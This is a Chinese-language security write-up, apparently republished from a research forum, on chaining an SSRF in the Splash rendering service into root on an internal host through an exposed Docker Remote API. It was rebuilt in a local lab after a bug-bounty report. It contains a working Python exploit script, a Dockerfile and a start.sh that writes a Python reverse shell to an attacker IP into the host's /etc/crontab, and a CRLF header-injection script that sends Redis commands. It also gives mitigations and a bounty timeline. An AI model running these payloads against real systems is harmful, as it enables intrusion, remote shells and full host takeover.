Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】Splash SSRF到获取内网服务器ROOT权限

0
0
【技术分享】Splash SSRF到获取内网服务器ROOT权限

2017-07-17 15:50:43
阅读:577次
点赞(0)
收藏
来源: b1ngz@先知安全技术社区






【技术分享】Splash SSRF到获取内网服务器ROOT权限

0x 01 简介

最近自己写的小工具在扫描的过程,发现了某公司在公网开放了一个使用开源系统的站点,该系统为 Splash,是一个使用 python3、Twisted 和 QT5写的 javascript rendering service,即提供了HTTP API 的轻量级浏览器,默认监听在 8050 (http) 和 5023 (telnet) 端口。

Splash 可以根据用户提供的url来渲染页面,并且url没有验证,因此可导致SSRF (带回显)。和一般的 SSRF 不同的是,除了 GET 请求之外,Splash还支持 POST。这次漏洞利用支持 POST 请求,结合内网 Docker Remote API,获取到了宿主机的root权限,最终导致内网漫游。文章整理了一下利用过程,如果有哪里写的不对或者不准确的地方,欢迎大家指出~


0x 02 环境搭建

为了不涉及公司的内网信息,这里在本地搭建环境,模拟整个过程

画了一个简单的图来描述环境


【技术分享】Splash SSRF到获取内网服务器ROOT权限

这里使用 Virtualbox 运行 Ubuntu 虚拟机作为 Victim,宿主机作为 Attacker

Attacker IP: 192.168.1.213

Victim:

IP: 192.168.1.120 使用桥接模式

内网IP:172.16.10.74,使用 Host-only 并且在 Adanced 中去掉 Cable Connected

Splash开放在 http://192.168.1.120:8050 ,版本为 v2.2.1,Attacker可访问

Docker remote api在 http://172.16.10.74:2375,版本为 17.06.0-ce,Attacker无法访问

JIRA 运行在 http://172.16.10.74:8080,Attacker无法访问

Victim 机器上需要装 docker,安装步骤可以参考 文档

因为后面测试需要利用 /etc/crontab 反弹,所以需要启动 cron

servicecronstart

docker默认安装不会开放 tcp 2375 端口,这里需要修改一下配置,让其监听在 172.16.10.74 的 2375 端口

在 /etc/default/docker 文件中添加

DOCKER_OPTS="-Htcp://172.16.10.74:2375

创建目录 docker.service.d (如果没有的话)

mkdir/etc/systemd/system/docker.service.d/

修改 vim /etc/systemd/system/docker.service.d/docker.conf 的内容为

[Service] ExecStart= EnvironmentFile=/etc/default/docker ExecStart=/usr/bin/dockerd-Hfd://$DOCKER_OPTS

重启 docker

systemctldaemon-reload servicedockerrestart

查看是否成功监听

root@test:/home/user#netstat-antp|grepLISTEN tcp00172.16.10.74:23750.0.0.0:*LISTEN1531/dockerd root@test:/home/user#curl172.16.10.74:2375 {"message":"pagenotfound"}

运行 splash

dockerpullscrapinghub/splash:2.2.1 sudodockerrun--name=splash-d-p5023:5023-p8050:8050-p8051:8051scrapinghub/splash:2.2.1
【技术分享】Splash SSRF到获取内网服务器ROOT权限

运行 JIRA

dockerpullcptactionhank/atlassian-jira:latest dockerrun-d-p172.16.10.74:8080:8080--name=jiracptactionhank/atlassian-jira:latest

可以测试一下,宿主机上无法访问以下两个地址的

#dockerremoteapi http://192.168.1.120:2375/ #jira http://192.168.1.120:8080/

0x 03 利用过程

带回显SSRF

首先来看一下 SSRF

在宿主机上访问 http://192.168.1.120:8050/ ,右上角有一个填写url的地方,这里存在带回显的ssrf


【技术分享】Splash SSRF到获取内网服务器ROOT权限

这里填写内网jira的地址 http://172.16.10.74:8080,点击 Render me!,可以看到返回了页面截图、请求信息和页面源码,相当于是一个内网浏览器!


【技术分享】Splash SSRF到获取内网服务器ROOT权限

查看 文档 得知,有个 render.html 也可以渲染页面,这里访问 docker remote api,http://172.16.10.74:2375


【技术分享】Splash SSRF到获取内网服务器ROOT权限

Lua scripts尝试

阅读了下文档,得知 splash 支持执行自定义的 Lua scripts,也就是首页填写url下面的部分


【技术分享】Splash SSRF到获取内网服务器ROOT权限

具体可以参考这里 Splash Scripts Tutorial

但是这里的 Lua 默认是运行在 Sandbox 里,很多标准的 Lua modules 和 functions 都被禁止了

文档 http://splash.readthedocs.io/en/2.2.1/scripting-libs.html#standard-library列出了 Sandbox 开启后(默认开启)可用的 Lua modules:

string table math os

这里有一个os,可以执行系统命令 http://www.lua.org/manual/5.2/manual.html#pdf-os.execute

但是试了一下 require os,返回 not found,所以没办法实现

localos=require("os") functionmain(splash) end
【技术分享】Splash SSRF到获取内网服务器ROOT权限

通过docker remote api 获取宿主机root权限

再看了遍文档,发现除了 GET 请求,还支持 POST,具体可以参考这里 http://splash.readthedocs.io/en/2.2.1/api.html#render-html

通过之前对该公司的测试,得知某些ip段运行着docker remote api,所以就想尝试利用post请求,调用api,通过挂载宿主机 /etc 目录 ,创建容器,然后写 crontab 来反弹shell,获取宿主机root权限。

根据docker remote api 的 文档 ,实现反弹需要调用几个 API,分别是

POST /images/create :创建image,因为当时的环境可以访问公网,所以就选择将创建好的 image 先push到docker hub,然后调用 API 拉取

POST /containers/create: 创建 container,这里需要挂载宿主机 /etc 目录

POST /containers/(id or name)/start : 启动container,执行将反弹定时任务写入宿主机的 /etc/crontab

主要说一下构建 image,这里使用了 python 反弹shell 的方法,代码文件如下

Dockerfile FROMbusybox:latest ADD./start.sh/start.sh WORKDIR/

start.sh:container启动时运行的脚本,负责写入宿主机 /etc/crontab ,第一个参数作为反弹host,第二个参数为端口

#!/bin/sh echo"*****rootpython-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$1\",$2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'">>/hostdir/crontab

构建并push

dockerbuild-tb1ngz/busybox:latest. dockerpushb1ngz/busybox:latest

虽然 splash 支持 post 请求,但是比较坑的是,文档里没有给向目标地址发 POST 请求的例子,只有参数说明,看了遍文档,关键参数有这几个

url : 请求url

http_method:请求url的方法

headers: 请求 headers

body: 请求url的body,默认为 application/x-www-form-urlencoded

测试的时候,一开始一直使用 get 方法来请求 render.html 接口,但总是返回400 ,卡了很久

{ error:400, description:"IncorrectHTTPAPIarguments", type:"BadOption", info:{ argument:"headers", description:"'headers'mustbeeitheraJSONarrayof(name,value)pairsoraJSONobject", type:"bad_argument" } }

搜了一下,在 github issue 里找到了原因,得用post请求,并且 headers 得在 body里,且类型为 json,略坑,这里给出利用脚本,代码有注释,大家可以自己看看

#-*-coding:utf-8-*- __author__='b1ngz' importjson importre importrequests defpull_image(api,docker_api,image_name,image_tag): print("pullimage:%s:%s"%(image_name,image_tag)) url="%s/render.html"%api print("url:%s"%url) docker_url='%s/images/create?fromImage=%s&tag=%s'%(docker_api,image_name,image_tag) print("docker_url:%s"%docker_url) params={ 'url':docker_url, 'http_method':'POST', 'body':'', 'timeout':60 } resp=requests.get(url,params=params) print("requesturl:%s"%resp.request.url) print("statuscode:%d"%resp.status_code) print("resptext:%s"%resp.text) print("-"*50) defcreate_container(api,docker_api,image_name,image_tag,shell_host,shell_port): image="%s:%s"%(image_name,image_tag) print("create_container:%s"%image) body={ "Image":image, "Volumes":{ "/etc":{#挂载根目录有时候会出错,这里选择挂载/etc "bind":"/hostdir", "mode":"rw" } }, "HostConfig":{ "Binds":["/etc:/hostdir"] }, "Cmd":[#运行start.sh,将反弹定时任务写入宿主机/etc/crontab '/bin/sh', '/start.sh', shell_host, str(shell_port), ], } url="%s/render.html"%api docker_url='%s/containers/create'%docker_api params={ 'http_method':'POST', 'url':docker_url, 'timeout':60 } resp=requests.post(url,params=params,json={ 'headers':{'Content-Type':'application/json'}, "body":json.dumps(body) }) print(resp.request.url) print(resp.status_code) print(resp.text) result=re.search('"Id":"(\w+)"',resp.text) container_id=result.group(1) print(container_id) print("-"*50) returncontainer_id defstart_container(api,docker_api,container_id): url="%s/render.html"%api docker_url='%s/containers/%s/start'%(docker_api,container_id) params={ 'http_method':'POST', 'url':docker_url, 'timeout':10 } resp=requests.post(url,params=params,json={ 'headers':{'Content-Type':'application/json'}, "body":"", }) print(resp.request.url) print(resp.status_code) print(resp.text) print("-"*50) defget_result(api,docker_api,container_id): url="%s/render.html"%api docker_url='%s/containers/%s/json'%(docker_api,container_id) params={ 'url':docker_url } resp=requests.get(url,params=params,json={ 'headers':{ 'Accept':'application/json'}, }) print(resp.request.url) print(resp.status_code) result=re.search('"ExitCode":(\w+),"',resp.text) exit_code=result.group(1) ifexit_code=='0': print('success') else: print('error') print("-"*50) if__name__=='__main__': #splash地址和端口 splash_host='192.168.1.120' splash_port=8050 #内网docker的地址和端口 docker_host='172.16.10.74' docker_port=2375 #反弹shell的地址和端口 shell_host='192.168.1.213' shell_port=12345 splash_api="http://%s:%d"%(splash_host,splash_port) docker_api='http://%s:%d'%(docker_host,docker_port) #dockerimage,存在dockerhub上 image_name='b1ngz/busybox' image_tag='latest' #拉取image pull_image(splash_api,docker_api,image_name,image_tag) #创建container container_id=create_container(splash_api,docker_api,image_name,image_tag,shell_host,shell_port) #启动container start_container(splash_api,docker_api,container_id) #获取写入crontab结果 get_result(splash_api,docker_api,container_id)

其他利用思路

其他思路的话,首先想到 ssrf 配合 gopher 协议,然后结合内网 redis,因为splash是基于qt的, 查了一下文档 ,qtwebkit 默认不支持 gopher 协议,所以无法使用 gopher 。

后来经过测试,发现请求 headers 可控 ,并且支持 \n 换行

这里测试选择了 redis 3.2.8 版本,以root权限运行,监听在 172.16.10.74,测试脚本如下,可以成功执行

#-*-coding:utf-8-*- __author__='b1ng' importrequests deftest_get(api,redis_api): url="%s/render.html"%api params={ 'url':redis_api, 'timeout':10 } resp=requests.post(url,params=params,json={ 'headers':{ 'configsetdir/root\n':'', }, }) print(resp.request.url) print(resp.status_code) print(resp.text) if__name__=='__main__': #splash地址和端口 splash_host='192.168.1.120' splash_port=8050 #内网docker的地址和端口 docker_host='172.16.10.74' docker_port=6379 splash_api="http://%s:%d"%(splash_host,splash_port) docker_api='http://%s:%d'%(docker_host,docker_port) test_get(splash_api,docker_api)
运行后redis发出了警告(高版本的新功能) 24089:M11Jul23:29:07.730-Accepted172.17.0.2:56886 24089:M11Jul23:29:07.730#PossibleSECURITYATTACKdetected.ItlookslikesomebodyissendingPOSTorHost:commandstoRedis.ThisislikelyduetoanattackerattemptingtouseCrossProtocolScriptingtocompromiseyourRedisinstance.Connectionaborted.

但是执行了

172.16.10.74:6379>configgetdir 1)"dir" 2)"/root"

后来又测试了一下 post body,发现 body 还没发出去,连接就被强制断开了,所以无法利用

这里用 nc 来看一下发送的数据包

root@test:/home/user/Desktop#nc-vv-l-p5555 Listeningon[0.0.0.0](family0,port5555) Connectionfrom[172.17.0.2]port5555[tcp/*]accepted(family2,sport38384) GET/HTTP/1.1 configsetdir/root : Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent:Mozilla/5.0(X11;linuxx86_64)AppleWebKit/538.1(KHTML,likeGecko)splashSafari/538.1 Connection:Keep-Alive Accept-Encoding:gzip,deflate Accept-Language:en,* Host:172.16.10.74:5555

可以看到 config set dir /root,说明可以利用

其他的话,因为支持post,也可以结合一些内网系统进行利用,这里就不细说了


0x 04 修复方案

对于splash,看了下文档,没有提到认证说明,应该是应用本身就没有这个功能,所以得自己加认证,临时方案可以用 basic 认证,彻底修复的话还是得自己修改代码,加上认证功能

这里的 docker remote api,应该是因为旧版本的 swarm 开放的,根据 文档 中 step 3,每个 node 都会开放 2375 或者 2376 端口,通过 iptables 来限制的话,需要配置 client node 的端口只允许 manager 访问,manager 的端口需要加白名单


0x 05 Timeline

2017-07-05 02:00:00 提交漏洞,报告内容为存在带回显 SSRF

2017-07-05 10:07:28 深入后成功获取内网服务器root权限 (可获取多台服务器root权限,并可拉取和push docker仓库image,仓库中有如 api-xxx、xxx.com 名称的 image ),联系审核人员,提交补充后的报告

2017-07-06 18:15:00 联系审核人员,询问进度,告知已复现。因为之前相同危害漏洞评级为严重,所以询问此漏洞是否属于严重漏洞,告知金币兑换比例提升后( 5:1 提升为 1:1 ),严重漏洞评定收紧,明天审核

2017-07-07 14:31:00 审核人员告知复现时,获取内网权限步骤遇到问题,要求提供更多细节,因为之前笔记笔记乱,回复晚些整理后再发送,顺带询问评级,答复获取到权限的服务器不属于核心服务器,并且内部对评为 一般业务高危 还是 一般业务严重 存在分歧,对应金币奖励为 800 和 1000,正好赶上三倍活动,也就是 2400 - 3000。这里算了一下,按照奖励提升之前的评级规则,相同危害的漏洞是评为核心严重的,对应奖励为 5000现金 + 3000 积分 (兑换比例5:1),这里相同危害,奖励提升后,再加上三倍金币活动,比之前的奖励还低一些,所以觉得不合理,因赶上周五和其他一些事情,商量下周一给评级

2017-07-10 10:16:00 联系审核人员,因为两边对于评级意见不一致,询问是否能够给予授权,继续深入,尝试证明可获取到 “核心服务器” 权限,回复没有给予授权,并告知可以判定为非核心严重级别,询问是否能够接受,回复不能接受,并给出理由

2017-07-12 10:08:00 联系审核人员,提供获取反弹shell EXP,并告知会写文章,希望尽快确认并修复,最终给予评级 严重非核心 ,1500 积分,4500 金币(三倍活动)




【技术分享】Splash SSRF到获取内网服务器ROOT权限
【技术分享】Splash SSRF到获取内网服务器ROOT权限
本文转载自 b1ngz@先知安全技术社区
原文链接:https://xianzhi.aliyun.com/forum/read/1872.html

Viewing all articles
Browse latest Browse all 12749
click here for Latest and Popular articles on Mesothelioma and Asbestos